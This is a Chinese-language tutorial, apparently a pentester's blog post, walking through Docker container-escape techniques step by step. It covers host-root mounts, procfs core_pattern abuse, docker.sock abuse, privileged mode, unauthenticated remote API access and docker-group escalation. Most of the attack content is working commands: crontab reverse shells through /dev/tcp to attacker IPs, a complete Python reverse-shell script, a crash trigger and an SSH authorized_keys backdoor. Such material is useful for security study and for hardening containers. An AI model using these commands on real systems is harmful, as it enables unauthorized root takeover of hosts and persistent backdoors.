逃逸方法
写入Crontab定时任务逃逸
启动容器时,如果将宿主机的根目录(/)挂载到容器内部的某个目录。由于 Docker 默认以 Root 权限运行,这意味着我们在容器内拥有了对宿主机磁盘文件的全写权限。通过修改宿主机的crontab文件,即可实现从容器到宿主机的控制权转移。
创建一个特权容器并挂载宿主机根目录
sudo docker -H 192.168.111.20:2375 run -it -v /:/host --privileged ubuntu:18.04 /bin/bash
容器内直接向宿主机crontab写入反弹shell命令
echo '* * * * * root bash -i >& /dev/tcp/192.168.111.25/9998 0>&1' >> /host/etc/crontab
攻击机启动一个监听:
nc -lvvp 9998
写入ssh公钥逃逸
这个其实跟前面写入定时任务差不多。通过向宿主机的/root/.ssh/authorized_keys写入攻击者的SSH公钥,从而实现免密登录宿主机。
攻击机生成公钥:
ssh-keygen -t rsa -b 4096 -C "backdoor@attacker.com" -f ~/.ssh/docker_escape
查看生成的公钥
cat ~/.ssh/docker_escape.pub
创建.ssh目录
mkdir -p /host/root/.ssh
设置权限(很重要,必须设置对权限)
chmod 700 /host/root/.ssh
写入公钥
cat >> /host/root/.ssh/authorized_keys << 'EOF'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAA... backdoor@attacker.comEOF
设置authorized_keys权限
chmod 600 /host/root/.ssh/authorized_keys
确保所有者正确
chown root:root /host/root/.ssh/authorized_keys
接下来就可以SSH直接连接宿主机了:
ssh root@192.168.111.20
挂载宿主机procfs逃逸
基础概念
procfs(/proc)是一个伪文件系统,反映了系统内进程以及其他组件的状态,其中有很多敏感文件
user namespace是linux的一项安全功能,允许在容器中映射和隔离用户ID
而在容器内默认启用root权限,且默认没有开启User Namespace时,容器中的root用户与宿主机的root用户UID会一致(均为0),在这种情况下,如果将procfs挂载到不受控的容器中,则可能会导致容器逃逸,这里运用到一个tricks:
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
/proc/sys/kernel/core_pattern 这个文件就是用来告诉 Linux 操作系统:“程序崩溃后,应该怎么处理这个错误报告?”
环境搭建
创建容器并挂载/proc目录:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
搭建完毕
信息搜集
如果发现了两个core_pattern文件,则可能就是挂载了宿主机的procfs:
find / -name core_pattern
漏洞利用
找到当前容器在主机下的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
可以看到绝对路径为/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/work
接下来安装vim和gcc:
apt-get update -y && apt-get install vim gcc -y
然后创建一个python脚本用于反弹shell:
#!/usr/bin/python3
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = 7777
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.shell.py')
s.close()
if __name__ == "__main__":
main()
赋予执行权限:
chmod 777 .shell.py
将脚本写入到目标的proc目录下:
echo -e "|/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py \rcore " > /host/proc/sys/kernel/core_pattern
在攻击机上开启监听,接下来只需要让容器崩溃重启即可执行反弹shell脚本,使用程序实现:
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc编译:
gcc .crash.c -o .crash
执行编译后的程序使docker崩溃触发core dump,此时宿主机/proc/sys/kernel/core_pattern中写入的.shell.py会被执行
成功监听到宿主机的反弹shell:
至此,我们完成了一次挂载宿主机procfs逃逸
挂载docker socket逃逸
基础概念
Docker Socket (/var/run/docker.sock) 是 Docker 守护进程(dockerd) 与 客户端(如 docker CLI、Docker API 调用) 之间的主要通信接口,即用来与守护进程通信即查询信息或者下发命令
若容器挂载了/var/run/docker.sock,就相当于获得了 Docker CLI(命令行接口)的完全访问权限,通过 Docker API,可以在容器内部直接管理宿主机上的 Docker 进程,最终导致容器逃逸
环境搭建
创建容器并挂载/var/run/docker.sock文件:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入容器并安装docker命令行客户端:
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
#官网
curl -fsSL https://get.docker.com/ | sh
#阿里云镜像
curl -fsSL https://get.docker.com -o install-docker.sh
sh install-docker.sh --mirror Aliyun
至此,环境搭建完毕
信息搜集
直接检查是否存在/var/run/docker.sock文件:
ls -lah /var/run/docker.sock
若文件存在,则可能存在该漏洞
漏洞利用
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部:
docker run -it -v /:/host ubuntu /bin/bash
此时我们可以发现/host目录就是宿主机的根目录:
那么只需要chroot将其变为根目录一下就完成了逃逸:
chroot /host
privileged特权模式逃逸
基础知识
当 Docker 容器以 --privileged 启动时,会获得以下权限:
- 完全设备访问权限:可访问宿主机所有设备(如
/dev/sda或vda、/dev/tty等)。 - 绕过 Linux Capabilities 限制:默认容器仅保留部分权限(如
CAP_CHOWN、CAP_NET_BIND_SERVICE),特权模式赋予容器 所有 Capabilities(包括CAP_SYS_ADMIN)。 - 禁用安全隔离机制:包括 Seccomp、AppArmor/SELinux 的部分限制
在这种情况下,就有可能将宿主机文件系统挂载到容器内部造成逃逸
环境搭建
首先有一个普通用户 yuy0ung 并且加入了 docker 组:
sudo useradd -m -s /bin/bash yuy0ung
sudo passwd yuy0ung
sudo usermod -aG docker yuy0ung
su - yuy0ung
在普通用户下使用--privileged=true创建一个容器
docker run --rm --privileged=true -it alpine
至此环境搭建完毕
信息搜集
判断是否为特权模式:
cat /proc/self/status | grep CapEff
如果docker是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff:
可见容器确实是特权模式启动
漏洞利用
查看磁盘挂载设备:
fdisk -l
可以看到有一个39.8G的磁盘/dev/vda3,这就是宿主机文件,将其挂载到/test目录:
mkdir /test && mount /dev/vda3 /test
我们还可以尝试写定时任务来反弹shell:
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/47.94.106.5/7777 0>&1"' >> /test/etc/crontab
成功监听到宿主机root权限的反弹shell:
至此,成功逃逸
docker远程API未授权访问逃逸
基础知识
docker remote api 可以执行 docker 命令,若配置错误将其暴露在公网,攻击者可通过远程调用 Docker API直接管理容器,进而导致逃逸getshell
环境搭建
将docker守护进程监听在0.0.0.0:
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
如果有防火墙记得开放2375端口
信息搜集
直接访问服务器2375端口:
如果响应为上图这样既表明存在漏洞
也可以使用我们的docker尝试远程调用该端口api:
docker -H tcp://x.x.x.x:2375 images
可以看到我们成功调用该api并列出了该docker的镜像,即漏洞存在
漏洞利用
在这种情况下,我们相当于可以任意控制目标服务器的docker了,那么我们可以新运行一个容器,挂载点设置为服务器的根目录挂载至/yuy0ung目录下
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/yuy0ung nginx:latest /bin/bash
那么接下来的思路就和上面差不多了,chroot或者写一个定时任务即可实现逃逸:
-
chroot:
-
定时任务监听:
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"' >> /yuy0ung/etc/crontab
至此成功获取宿主机权限
内核漏洞逃逸
就是宿主机的内核存在漏洞的情况下的一些利用,简单来说就是提权类的内核漏洞会很可能导致容器逃逸
这些内核漏洞通常是一些CVE,以CVE-2016-5195(dirty cow)为例:
和权限提升时的dirty利用方法差不太多,之所以能实现逃逸,是因为docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机,其他的利用细节不再赘述,可以参考我的这篇文章:linux提权-内核提权
除了脏牛,还有很多内核漏洞导致的逃逸,这里列举一些就不细讲了:
- CVE-2019-16884
- CVE-2021-3493
- CVE-2021-22555
- CVE-2022-0492
- CVE-2022-0847
- CVE-2022-23222
docker用户组提权
该trick其实可以归类到liunx提权里面的,不过也涉及到了docker以及逃逸所以放到这里记录:
基础知识
Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能运行
Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,就相当于拥有了root 的访问权限
环境搭建
由于前面复现特权模式逃逸的时候,我们已经创建了一个yuy0ung用户并加入了docker组,所以切换到该用户即可进行复现:
信息搜集
那么可以尝试docker用户组提权
漏洞利用
这里直接拉取一个针对上面情况的提权镜像,大致原理就是拉取镜像时将宿主机根目录挂载进docker,而docker启动后自动执行启动脚本chroot逃逸出来了,详细内容可以参考镜像的github:https://github.com/chrisfosterelli/dockerrootplease
docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
可以看到直接就提升到root权限了,其实和前面的chroot逃逸差不多






















